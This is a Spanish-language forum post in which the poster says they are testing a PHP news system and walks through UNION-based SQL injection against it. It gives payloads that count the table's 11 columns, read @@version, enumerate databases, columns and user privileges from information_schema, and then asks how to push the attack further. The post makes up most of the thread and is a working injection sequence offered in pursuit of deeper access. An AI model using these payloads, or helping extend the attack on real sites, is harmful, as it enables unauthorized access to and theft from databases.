Foro de elhacker.net

Hola, me ha dado por probar un sistema de noticias en php y he empezado a hacer pruebas y creo que estoy dando con algo

Cuando se visualiza una noticia con normalidad:
(http://r.i.elhacker.net/cache?url=http://img696.imageshack.us/img696/3672/alertpaybuxnot.png)

Cuando se intenta visualizar una noticia que no existe (una id.)
(http://r.i.elhacker.net/cache?url=http://img44.imageshack.us/img44/3672/alertpaybuxnot.png)
(Fijarse que la comilla y los // son de cuando Nota de Prensa, Algún Sitio (ejemplo)) - 1/02/2009


He hecho union all select y llego hasta el 11 o sea que la tabla noticias tiene 11 campos y como se puede ver si genero un error, uno de ellos como no es el id.
Cuando hago -1 union all select 1,2,3,4,5,6,7,8,9,10,11--
Me sale esto:
(http://r.i.elhacker.net/cache?url=http://img707.imageshack.us/img707/1790/alertpaybuxnotq.png)


Si pongo en vez de 1,2,3...  1,@@version,3.... me sale la versión del servidor en el primer numero:
15.0.77

He usado esto para ver las columnas:
-1 union all select 1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9,10,11 FROM information_schema.columns--

y me muestra esto
(http://r.i.elhacker.net/cache?url=http://img511.imageshack.us/img511/2986/alertpaybuxnotm.png)

Si hago esto para ver las dbs:
-1 union all select 1,schema_name,3,4,5,6,7,8,9,10,11 FROM information_schema.schemata--

Me sale esto:
(http://r.i.elhacker.net/cache?url=http://img403.imageshack.us/img403/9871/alertpaybuxnott.png)

He intentado ver una lista de privilegios con:
-1 union all select 1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11  FROM+information_schema.user_privileges--

Sale esto:
(http://r.i.elhacker.net/cache?url=http://img256.imageshack.us/img256/8281/alertpaybuxnotv.png)

Usando el PonyMagic (que maravilla por dios.) me indica que tiene 2 tablas y una de ellas es la de noticias y me indica todos los campos.

Con esto que se puedo hacer algo? Como sigo adelante sino?

Leeté tutoriales, como esté: http://foro.elhacker.net/nivel_web/sql_injection_para_principiantes_ejemplos_en_aplicaciones_reales-t142203.0.html